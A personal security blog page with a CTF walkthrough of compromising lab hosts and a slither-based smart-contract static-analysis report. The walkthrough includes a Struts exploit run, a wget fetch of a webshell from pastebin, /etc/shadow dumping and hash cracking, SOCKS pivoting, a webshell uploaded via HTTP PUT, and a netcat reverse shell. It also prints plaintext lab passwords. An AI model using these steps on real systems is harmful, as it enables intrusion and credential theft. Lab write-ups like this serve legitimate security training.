Wednesday, March 16, 2022

YesWehack Pwnjitsu CTF 2021



Back in 2021, I was invited to participate in a CTF challenge, I don't normally do CTFs but since I was personally invited by a friend, I couldn't say No. 

Here's the walkthru, nothing too difficult. 4 out of 10 for difficulty. There was about 4 hosts that participants had to fully compromise. Each host had a secret file that contained the flag. In total there were 6 flags to capture. Participants were given about 16 hours but I completed it in under 8 hours and a small bounty of Euro400 was paid to me shortly. 😍

1. The initial entry was via Apache struts RCE. I can't remember how I spotted the bug initially, perhaps I crawled it with Burp and saw that it had Apache Struts installed. Exploitation was straight forward - script kiddie style haha.

$ python ApacheStruts.py http://172.16.1.33:8080/continuum/security/login.action +] RUN EXPLOIT CVE-2013-2251 [-] NO VULNERABLE TO CVE-2013-2251 [+] RUN EXPLOIT CVE-2017-5638 [-] VULNERABLE [-] RUN THIS EXPLOIT (s/n): s [-] GET PROMPT... * [UPLOAD SHELL] Struts@Shell:$ pwnd (php) * [DOWNLOAD SHELL] wget https://pastebin.com/raw/baJmN8G8 -O /tmp/status.php Struts2@CVE-2017-5638 $ ls LICENSE NOTICE apps bin conf contexts data derby.log flag.txt lib logs tmp Struts2@CVE-2017-5638 $ id uid=0(root) gid=0(root) groups=0(root) Struts2@CVE-2017-5638 $ pwd /opt/apache_continuum/apache-continuum-1.4.2 Struts2@CVE-2017-5638 $ cat flag.txt PWNJUTSU{WmuK1PidRLYt5gUnoC6UdtWLNM659Yvb} 2. Since I got root directly from the Apache Struts RCE, the next move was to crack shadow passwd file: Struts2@CVE-2017-5638 $ cat /etc/shadow root:!:18688:0:99999:7::: daemon:*:16176:0:99999:7::: bin:*:16176:0:99999:7::: sys:*:16176:0:99999:7::: sync:*:16176:0:99999:7::: games:*:16176:0:99999:7::: man:*:16176:0:99999:7::: lp:*:16176:0:99999:7::: mail:*:16176:0:99999:7::: news:*:16176:0:99999:7::: uucp:*:16176:0:99999:7::: proxy:*:16176:0:99999:7::: www-data:*:16176:0:99999:7::: backup:*:16176:0:99999:7::: list:*:16176:0:99999:7::: irc:*:16176:0:99999:7::: gnats:*:16176:0:99999:7::: nobody:*:16176:0:99999:7::: libuuid:!:16176:0:99999:7::: syslog:*:16176:0:99999:7::: messagebus:*:18688:0:99999:7::: sshd:*:18688:0:99999:7::: statd:*:18688:0:99999:7::: vagrant:$6$/Z97giSD$w1G/dmR09EnAh5hY47o/Hmb7ExAFHWwqfwsL1lvhpP41jDdP07ij4S3.RM/ZLBHX06Wm5QJ0Tx2/m3TJo.o5E0:18688:0:99999:7::: dirmngr:*:18688:0:99999:7::: han_solo:$1$6jIF3qTC$7jEXfQsNENuWYeO6cK7m1.:18688:0:99999:7::: lando_calrissian:$1$Af1ek3xT$nKc8jkJ30gMQWeW/6.ono0:18688:0:99999:7::: boba_fett:$1$TjxlmV4j$k/rG1vb4.pj.z0yFWJ.ZD0:18688:0:99999:7::: chewbacca:$1$.qt4t8zH$RdKbdafuqc7rYiDXSoQCI.:18688:0:99999:7::: mysql:!:18688:0:99999:7::: splunk:!:18688:0:99999:7::: - Just like anyone else, I feed the hash into john to crack :-) It didn't take too long to crack it, passwd was very simple. $ john pass.txt Warning: only loading hashes of type "sha512crypt", but also saw type "md5crypt" Use the "--format=md5crypt" option to force loading hashes of that type instead Warning: only loading hashes of type "sha512crypt", but also saw type "md5crypt-long" Use the "--format=md5crypt-long" option to force loading hashes of that type instead Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 8 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status vagrant (vagrant) 1g 0:00:00:00 DONE 1/3 (2021-06-01 22:02) 25.00g/s 800.0p/s 800.0c/s 800.0C/s vagrant..Vagrant12 Use the "--show" option to display all of the cracked passwords reliably Session completed - Used the cracked passwd to ssh to another victim host: $ ssh 172.16.1.33 -l vagrant vagrant@172.16.1.33's password: Last login: Wed May 5 21:21:19 2021 vagrant@n33-vm1:~$ id uid=900(vagrant) gid=900(vagrant) groups=900(vagrant),27(sudo) vagrant@n33-vm1:~$ - get the 2nd flag :-) vagrant@n33-vm1:~$ cat flag.txt PWNJUTSU{7QLtE5Aao737TVWyc7FvyA7CWLRny9Mq} vagrant@n33-vm1:~$ 3. Now, time to Priv escalate to w0000t, a quick sudo su - did the job! vagrant@n33-vm1:/home$ ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:cf:43:2c inet addr:10.33.1.1 Bcast:10.33.1.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fecf:432c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:789997 errors:0 dropped:0 overruns:0 frame:0 TX packets:923201 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:91918138 (91.9 MB) TX bytes:467250606 (467.2 MB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:570349 errors:0 dropped:0 overruns:0 frame:0 TX packets:570349 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:35506673 (35.5 MB) TX bytes:35506673 (35.5 MB) vagrant@n33-vm1:/home$ sudo su - root@n33-vm1:~# id uid=0(root) gid=0(root) groups=0(root) root@n33-vm1:~# - get the next flag: root@n33-vm1:~# pwd /root root@n33-vm1:~# ls flag.txt root@n33-vm1:~# cat flag.txt PWNJUTSU{jnmTumzqX4uMh9SIASsHNkv2j9KVD1u6} root@n33-vm1:~# - and another flag: oot@n33-vm1:/home/boba_fett# cat flag.txt PWNJUTSU{2uUyMnSIPNfvBYf1bUDJFrf8stkgkklV} - another flag: root@n33-vm1:/home/han_solo# cat flag.txt PWNJUTSU{wmyCXCEuXa3K2GckUzarcpQSf5Zudv58} root@n33-vm1:/home/han_solo# 4. Pivot to another victim host: - on vm1, I nmap the net to see what was around me: root@n33-vm1:/home/boba_fett# nmap 10.33.1.0/24 -n Starting Nmap 6.40 ( http://nmap.org ) at 2021-06-01 14:10 UTC Nmap scan report for 10.33.1.2 Host is up (0.00026s latency). Not shown: 986 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 81/tcp open hosts2-ns 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 8009/tcp open ajp13 8080/tcp open http-proxy 9200/tcp open wap-wsp 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown MAC Address: 00:0C:29:64:87:FC (VMware) Nmap scan report for 10.33.1.3 Host is up (0.00023s latency). All 1000 scanned ports on 10.33.1.3 are filtered MAC Address: 00:0C:29:F8:F3:74 (VMware) Nmap scan report for 10.33.1.254 Host is up (-0.100s latency). All 1000 scanned ports on 10.33.1.254 are filtered MAC Address: 00:0C:29:FC:A6:7C (VMware) Nmap scan report for 10.33.1.1 Host is up (0.000010s latency). Not shown: 994 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 3306/tcp open mysql 6667/tcp open irc 8080/tcp open http-proxy Nmap done: 256 IP addresses (4 hosts up) scanned in 205.90 seconds - I needed to access the 10.33 network from my attacker host on 172.16.1.33. So I setup a SOCKS to 10.33.1.1 to bridge the 2 hosts: $ ssh -D 1337 -q -C -N vagrant@172.16.1.33 vagrant@172.16.1.33's password: - Now I can point my browser to use localhost socks on 1337/tcp and I can access 10.33.1.2 web services:


- phpinfo() indicates that the next victim host is a windows box:


5. I found that it supported HTTP PUT. Simple enough, just upload my shell and I should get RCE on 10.33.1.2. - Create one-liner webshell using PUT


- Obtain RCE using webshell


- To see what's in the webserver, I did a dir listing using 'dir':


- obtain the flag:

6. I needed a better connection to this host, so I decided the create a rev shell. Like all good script kiddies, I uploaded windows rev shell to 10.33.1.2 using the same PUT method:


- Caught the rev shell with netcat:

vagrant@n33-vm1:~$ nc -nlvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [10.33.1.2] port 1234 [tcp/*] accepted (family 2, sport 49243)
b374k shell : connected

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\wamp\www\uploads\test>whoami
whoami
nt authority\local service

C:\wamp\www\uploads\test>

- obtain password_flag.txt

 lando_calrissian 's accounts

==============================

Administrator / @dm1n1str8r

lando_calrissian / @dm1n1str8r

- remove the spaces:

PWNJUTSU{bAsLAANvrsFauBXKoPeuhWAfZyP3DnJk}


- ssh to 10.33.1.2

vagrant@n33-vm1:~$ ssh -l lando_calrissian 10.33.1.2
lando_calrissian@10.33.1.2's password: 
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Administrator\Documents\files>whoami
whoami
nt authority\local service

- get the flag:

C:\Program Files\OpenSSH\home\lando_calrissian>dir
 Volume in drive C is Windows 2008R2
 Volume Serial Number is 64C4-FFBE

 Directory of C:\Program Files\OpenSSH\home\lando_calrissian

04/18/2021  01:49 PM    <DIR>          .
04/18/2021  01:49 PM    <DIR>          ..
05/26/2021  08:57 PM                90 flag.txt
               1 File(s)             90 bytes
               2 Dir(s)  44,618,330,112 bytes free

C:\Program Files\OpenSSH\home\lando_calrissian>more flag.txt
PWNJUTSU{jmdFwrr6KZNis6y2U9VhZz62IRHplCG5}

7. Now pivot to another host - 10.33.1.3. Same thing, create socks on 10.33.1.2

vagrant@n33-vm1:~$ ssh -D 1337 -q -C -N  -l lando_calrissian 10.33.1.2

- on 10.33.1.2 I did another nmap to see what's around me: 

vagrant@n33-vm1:~$ sudo nmap --proxy socks4://127.0.0.1:1337 10.33.1.3 -n -sN


- Another method is to create socks from 10.33.1.1 to 10.33.1.2:

vagrant@n33-vm1:~$ ssh -D 1337 -q -C -N  -l lando_calrissian 10.33.1.2
lando_calrissian@10.33.1.2's password: 


- on 10.33.1.1 I did a port fwd:

$ ssh -L 8081:localhost:1337 vagrant@172.16.1.33
vagrant@172.16.1.33's password: 

- then edit proxychain.conf:

 socks4 127.0.0.1 8081

- then proxychains nmap 10.33.1.3 or dirb 10.33.1.3 for burp point socks to 127.0.0.1:8081 then browse to 10.33.1.3

$ proxychains nmap 10.33.1.3 -n
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-03 22:03 +08
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:80-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:8888-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:23-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:135-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:111-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:53-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:1025-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:993-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:256-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:3389-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:554-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:443-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:3306-<--timeout
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:80-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:5900-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:110-<--timeout


8. Obtain Flag on 10.33.1.3:

- vnc to it passwd is password

$proxychains xtightvncviewer 10.33.1.3 -compresslevel 9 -quality 4 -depth 8

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:5900-<><>-OK
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password: 
Authentication successful
Desktop name "captain's X desktop (n33-vm3:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

flag screenshot: 10.33.3-vnc.png


- there is also a drupal webpage on 10.33.1.3 but easier to ssh to it: passwd is captain $ proxychains ssh 10.33.1.3 -l captain ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|-<>-127.0.0.1:8081-<><>-10.33.1.3:22-<><>-OK The authenticity of host '10.33.1.3 (10.33.1.3)' can't be established. ECDSA key fingerprint is SHA256:hvwDN/6vV9Q/eULn6TD3ZJ9Cljn2cwy25/Sk0DOFnXc. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.33.1.3' (ECDSA) to the list of known hosts. captain@10.33.1.3's password: captain@n33-vm3:~$ id uid=1002(captain) gid=1002(captain) groups=1002(captain) captain@n33-vm3:~$ 9. priv esc on 10.33.1.3: - read the history file for user captain to find a passwd hash: captain@n33-vm3:~$ history 1 ls -la 2 ps -ef 3 netstat -nao 4 cd 5 mkdir -p .vnc 6 vncserver 7 vncserver -kill :1 8 ifconfig 9 ip a 10 ls -la 11 cd /tmp 12 rm tempfile 13 cd 14 su 15 su 16 su 17 sudo --help 18 su 19 root 20 su root 21 root 22 su root root 23 sudo -iS root 24 cat /etc/passwd 25 echo root | sudo passwd 26 apt update 27 apt install sl 28 apt upgrade 29 apt install python3-pip 30 echo
root:$6$tIOfiXdyfe7nDTP0$QJjeL9ktKC0qrE.Ma0etiyVcJggaInuAkn7V1ruENQg3BeQ5sWhEORVzT2HBYmxoHSk3cdZNf53YcgUakUBEH.:18619:0:99999:7::: >> /etc/shadow 31 htop 32 top 33 rm -rf /data/yolo - use john to crack the root passwd: $john shadow.txt Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 8 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status root (root) 1g 0:00:00:00 DONE 1/3 (2021-06-03 22:36) 25.00g/s 800.0p/s 800.0c/s 800.0C/s root..Root12 Use the "--show" option to display all of the cracked passwords reliably Session completed - su to root passwd is root: captain@n33-vm3:~$ su - root Password: root@n33-vm3:~# cd /root root@n33-vm3:~# ls -al total 120 drwx------ 17 root root 4096 May 26 20:48 . drwxr-xr-x 20 root root 4096 Dec 22 12:21 .. -rw------- 1 root root 9826 May 25 14:19 .bash_history -rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc drwx------ 6 root root 4096 May 25 14:10 .cache drwx------ 11 root root 4096 May 25 14:11 .config drwxr-xr-x 2 root root 4096 May 25 14:10 Desktop drwxr-xr-x 2 root root 4096 Dec 23 14:46 Documents drwxr-xr-x 2 root root 4096 Mar 26 15:21 Downloads -r-------- 1 root root 49 May 26 20:48 final_flag.txt drwx------ 3 root root 4096 May 25 14:10 .gnupg -rw------- 1 root root 36 May 8 09:06 .lesshst drwxr-xr-x 3 root root 4096 May 25 14:10 .local drwxr-xr-x 2 root root 4096 May 25 14:10 Music drwxr-xr-x 2 root root 4096 Dec 23 09:25 Pictures -rw-r--r-- 1 root root 161 Dec 5 2019 .profile drwxr-xr-x 2 root root 4096 May 25 14:10 Public -rw-r--r-- 1 root root 75 Apr 13 08:22 .selected_editor drwxr-xr-x 3 root root 4096 Dec 22 12:28 snap drwx------ 2 root root 4096 Apr 20 16:11 .ssh drwxr-xr-x 2 root root 4096 May 25 14:10 Templates drwxr-xr-x 2 root root 4096 May 25 14:10 Videos drwxr-xr-x 2 root root 4096 Apr 16 16:15 .vim -rw------- 1 root root 9359 May 25 21:10 .viminfo -rw------- 1 root root 51 May 25 14:18 .Xauthority -rw------- 1 root root 2281 May 25 14:18 .xsession-errors root@n33-vm3:~# cat final_flag.txt FINAL_PWNJUTSU{42tBxe6uasbxPLhJWS9gV7nPYvyycGtQ} root@n33-vm3:~#

10. Game over!

Sunday, February 20, 2022

Static Analysis of Smart Contract

 

Tasks


The assessment objectives and respective statuses are summarized in the following table:


Objective

Status

  1. Audit any issues with Roles or Privileges 

    within the contract and what the impact 

    may be for any vulnerabilities due to 

    privileges.

Objective met - suicide vulnerabilies 

identified pertaining to improper access 

control

  1. Static Analysis issues

Objective met - ran slither on all contracts,

 identified over 14 vulnerabilities.

  1. Compile and Deploy the contract 

    set to a Local instance like Ganache to 

    perform testing on the contract set.

     In particular the "Private-Sale.sol" 

    contract may have some issues with

     protecting tokens. Show how it can be 

    exploited.

Objective met - Reentry exploit code

 produced and deployed to Ganache 

environment.

  1. Any other dynamic findings like fuzzing or

     formal verification and symbolic

     execution.

Objective not met - Did not perform 

dynamic testing using MithX due to 

commercial license required.




Summarized Findings


The following SmartContracts were subjected to static analysis using slither for common vulnerabilities:


  1. Private-Sale.sol,

  2. Halborn-Pool.sol,

  3. MyTokens.sol


The vulnerabilities identified with business impact are:


  1. Reentry (sev: high) - 3 instances found,

  2. State-variable-shadowing (high),

  3. Suicidal (sev: high) - 2 instances found,

  4. Unchecked-transfer (sev: high),

  5. Contract locking (sev: Med)


Note, all vulnerabilities with the impact of High & Medium are highlighted in yellow in the evidence section below. 

There were 2 instances found of improper access control or rather known as a “suicide” vulnerability in MyToken.sol & 

HalbornPool.sol respectively, it meant that a malicious attacker could self-destruct the contract. These vulnerabilities are 

categorized as SWC-106 at https://swcregistry.io/docs/SWC-106



The following vulnerabilities with informational severity are:


  1. Low level calls 

  2. Different Pragma Directives were used

  3. Conformance to Solidity naming conventions

  4. Dead Code

  5. Unused State Variable

  6. State Variable that Could be declared constant

  7. Different pragma in used

  8. Dead-Code

  9. Incorrect versions of Solidity


A Proof of Concept (PoC) exploit was produced for Private-Sales.sol to drain the Bank of all Ether by exploiting a Reentry

 vulnerability in lines 35-47. The PoC was built in remix and connected to the Ganache environment. The full Reentry exploit code (attacker.sol) 

was also added to this report. It was noted that the following SmartContracts did not return any issues during analysis:


  1. Migrations.sol,

  2. HalbornInterface.sol


Evidences

Static Analysis: Private-Sale.sol


$ slither Private-Sale.sol 


Reentrancy in PrivateSale.getRefund(uint256) (Private-Sale.sol#35-47):

    External calls:

    - (refunded) = msg.sender.call{value: quantity * TICKET}() (Private-Sale.sol#41)

    State variables written after the call(s):

    - purchasedTickets[msg.sender] -= quantity (Private-Sale.sol#45)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities


solc-0.8.10 is not recommended for deployment

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity


Low level call in PrivateSale.getRefund(uint256) (Private-Sale.sol#35-47):

    - (refunded) = msg.sender.call{value: quantity * TICKET}() (Private-Sale.sol#41)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#low-level-calls




Static Analysis: HalbornPool.sol


$ slither HalbornPool.sol 


Halborn._balances (MyToken.sol#12) shadows:

    - ERC20._balances (openzeppelin/contracts/token/ERC20/ERC20.sol#36)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing


Halborn.EmergencyDestroy(address) (MyToken.sol#30-33) allows anyone to destruct the contract

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#suicidal


DefiPool.deposit(uint256,address) (HalbornPool.sol#82-94) ignores return value by HAL.transferFrom(_sender,address(this),_amount) (HalbornPool.sol#87)

DefiPool.withdraw(address) (HalbornPool.sol#100-119) ignores return value by HAL.transfer(_user,userBalance[_user]) (HalbornPool.sol#117)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unchecked-transfer


Contract locking ether found:

    Contract DefiPool (HalbornPool.sol#20-134) has payable functions:

    - HalbornInterface.deposit(uint256,address) (HalbornInterface.sol#6-7)

    - HalbornInterface.withdraw(address) (HalbornInterface.sol#9-10)

    - DefiPool.deposit(uint256,address) (HalbornPool.sol#82-94)

    - DefiPool.withdraw(address) (HalbornPool.sol#100-119)

    But does not have a function to withdraw the ether

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#contracts-that-lock-ether


Reentrancy in DefiPool.withdraw(address) (HalbornPool.sol#100-119):

    External calls:

    - HAL.transfer(_user,userBalance[_user]) (HalbornPool.sol#117)

    State variables written after the call(s):

    - userBalance[_user] = userBalance[_user] - initialUserBalance (HalbornPool.sol#118)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1


Reentrancy in DefiPool.deposit(uint256,address) (HalbornPool.sol#82-94):

    External calls:

    - HAL.transferFrom(_sender,address(this),_amount) (HalbornPool.sol#87)

    State variables written after the call(s):

    - depositStart[msg.sender] = depositStart[msg.sender] + block.timestamp (HalbornPool.sol#91)

    - userBalance[_sender] = userBalance[_sender] + _amount (HalbornPool.sol#89)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2


Reentrancy in DefiPool.deposit(uint256,address) (HalbornPool.sol#82-94):

    External calls:

    - HAL.transferFrom(_sender,address(this),_amount) (HalbornPool.sol#87)

    Event emitted after the call(s):

    - Deposit(msg.sender,msg.value,block.timestamp) (HalbornPool.sol#93)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3


Different versions of Solidity is used:

    - Version used: ['^0.8.0', '^0.8.2']

    - ^0.8.2 (HalbornInterface.sol#2)

    - ^0.8.2 (HalbornPool.sol#2)

    - ^0.8.2 (MyToken.sol#2)

    - ^0.8.0 (openzeppelin/contracts/access/Ownable.sol#4)

    - ^0.8.0 (openzeppelin/contracts/security/Pausable.sol#4)

    - ^0.8.0 (openzeppelin/contracts/token/ERC20/ERC20.sol#4)

    - ^0.8.0 (openzeppelin/contracts/token/ERC20/IERC20.sol#4)

    - ^0.8.0 (openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol#4)

    - ^0.8.0 (openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol#4)

    - ^0.8.0 (openzeppelin/contracts/utils/Context.sol#4)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used


Context._msgData() (openzeppelin/contracts/utils/Context.sol#21-23) is never used and should be removed

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code


Pragma version^0.8.2 (HalbornInterface.sol#2) allows old versions

Pragma version^0.8.2 (HalbornPool.sol#2) allows old versions

Pragma version^0.8.2 (MyToken.sol#2) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/access/Ownable.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/security/Pausable.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/token/ERC20/ERC20.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/token/ERC20/IERC20.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/utils/Context.sol#4) allows old versions

solc-0.8.2 is not recommended for deployment

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity


Parameter DefiPool.deposit(uint256,address)._amount (HalbornPool.sol#82) is not in mixedCase

Parameter DefiPool.deposit(uint256,address)._sender (HalbornPool.sol#82) is not in mixedCase

Parameter DefiPool.withdraw(address)._user (HalbornPool.sol#100) is not in mixedCase

Function DefiPool.EmergencyWithraw(address,address,uint256) (HalbornPool.sol#131-133) is not in mixedCase

Variable DefiPool.HAL (HalbornPool.sol#44) is not in mixedCase

Function Halborn.EmergencyDestroy(address) (MyToken.sol#30-33) is not in mixedCase

Parameter Halborn.EmergencyDestroy(address)._to (MyToken.sol#30) is not in mixedCase

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions


Halborn.constructor() (MyToken.sol#13-15) uses literals with too many digits:

    - _mint(msg.sender,10000000000 * 10 ** decimals()) (MyToken.sol#14)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#too-many-digits


DefiPool.allowed (HalbornPool.sol#27) is never used in DefiPool (HalbornPool.sol#20-134)

Halborn._balances (MyToken.sol#12) is never used in Halborn (MyToken.sol#9-34)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-state-variable


transfer(address,uint256) should be declared external:

    - DefiPool.transfer(address,uint256) (HalbornPool.sol#32-37)

deposit(uint256,address) should be declared external:

    - DefiPool.deposit(uint256,address) (HalbornPool.sol#82-94)

withdraw(address) should be declared external:

    - DefiPool.withdraw(address) (HalbornPool.sol#100-119)

getContractBalance() should be declared external:

    - DefiPool.getContractBalance() (HalbornPool.sol#124-129)

EmergencyWithraw(address,address,uint256) should be declared external:

    - DefiPool.EmergencyWithraw(address,address,uint256) (HalbornPool.sol#131-133)

pause() should be declared external:

    - Halborn.pause() (MyToken.sol#16-18)

unpause() should be declared external:

    - Halborn.unpause() (MyToken.sol#20-22)

mint(address,uint256) should be declared external:

    - Halborn.mint(address,uint256) (MyToken.sol#24-26)

transferbyOwner(address,address,uint256) should be declared external:

    - Halborn.transferbyOwner(address,address,uint256) (MyToken.sol#27-29)

EmergencyDestroy(address) should be declared external:

    - Halborn.EmergencyDestroy(address) (MyToken.sol#30-33)

renounceOwnership() should be declared external:

    - Ownable.renounceOwnership() (openzeppelin/contracts/access/Ownable.sol#54-56)

transferOwnership(address) should be declared external:

    - Ownable.transferOwnership(address) (openzeppelin/contracts/access/Ownable.sol#62-65)

name() should be declared external:

    - ERC20.name() (openzeppelin/contracts/token/ERC20/ERC20.sol#62-64)

symbol() should be declared external:

    - ERC20.symbol() (openzeppelin/contracts/token/ERC20/ERC20.sol#70-72)

totalSupply() should be declared external:

    - ERC20.totalSupply() (openzeppelin/contracts/token/ERC20/ERC20.sol#94-96)

balanceOf(address) should be declared external:

    - ERC20.balanceOf(address) (openzeppelin/contracts/token/ERC20/ERC20.sol#101-103)

transfer(address,uint256) should be declared external:

    - ERC20.transfer(address,uint256) (openzeppelin/contracts/token/ERC20/ERC20.sol#113-116)

approve(address,uint256) should be declared external:

    - ERC20.approve(address,uint256) (openzeppelin/contracts/token/ERC20/ERC20.sol#132-135)

transferFrom(address,address,uint256) should be declared external:

    - ERC20.transferFrom(address,address,uint256) (openzeppelin/contracts/token/ERC20/ERC20.sol#150-164)

increaseAllowance(address,uint256) should be declared external:

    - ERC20.increaseAllowance(address,uint256) (openzeppelin/contracts/token/ERC20/ERC20.sol#178-181)

decreaseAllowance(address,uint256) should be declared external:

    - ERC20.decreaseAllowance(address,uint256) (openzeppelin/contracts/token/ERC20/ERC20.sol#197-205)

burn(uint256) should be declared external:

    - ERC20Burnable.burn(uint256) (openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol#20-22)

burnFrom(address,uint256) should be declared external:

    - ERC20Burnable.burnFrom(address,uint256) (openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol#35-42)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external

HalbornPool.sol analyzed (11 contracts with 77 detectors), 54 result(s) found










Static Analysis: MyTokens.sol



$ slither MyToken.sol 


Halborn._balances (MyToken.sol#12) shadows:

    - ERC20._balances (openzeppelin/contracts/token/ERC20/ERC20.sol#36)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing


Halborn.EmergencyDestroy(address) (MyToken.sol#30-33) allows anyone to destruct the contract

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#suicidal


Different versions of Solidity is used:

    - Version used: ['^0.8.0', '^0.8.2']

    - ^0.8.2 (MyToken.sol#2)

    - ^0.8.0 (openzeppelin/contracts/access/Ownable.sol#4)

    - ^0.8.0 (openzeppelin/contracts/security/Pausable.sol#4)

    - ^0.8.0 (openzeppelin/contracts/token/ERC20/ERC20.sol#4)

    - ^0.8.0 (openzeppelin/contracts/token/ERC20/IERC20.sol#4)

    - ^0.8.0 (openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol#4)

    - ^0.8.0 (openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol#4)

    - ^0.8.0 (openzeppelin/contracts/utils/Context.sol#4)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used


Context._msgData() (openzeppelin/contracts/utils/Context.sol#21-23) is never used and should be removed

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code


Pragma version^0.8.2 (MyToken.sol#2) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/access/Ownable.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/security/Pausable.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/token/ERC20/ERC20.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/token/ERC20/IERC20.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol#4) allows old versions

Pragma version^0.8.0 (openzeppelin/contracts/utils/Context.sol#4) allows old versions

solc-0.8.10 is not recommended for deployment

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity


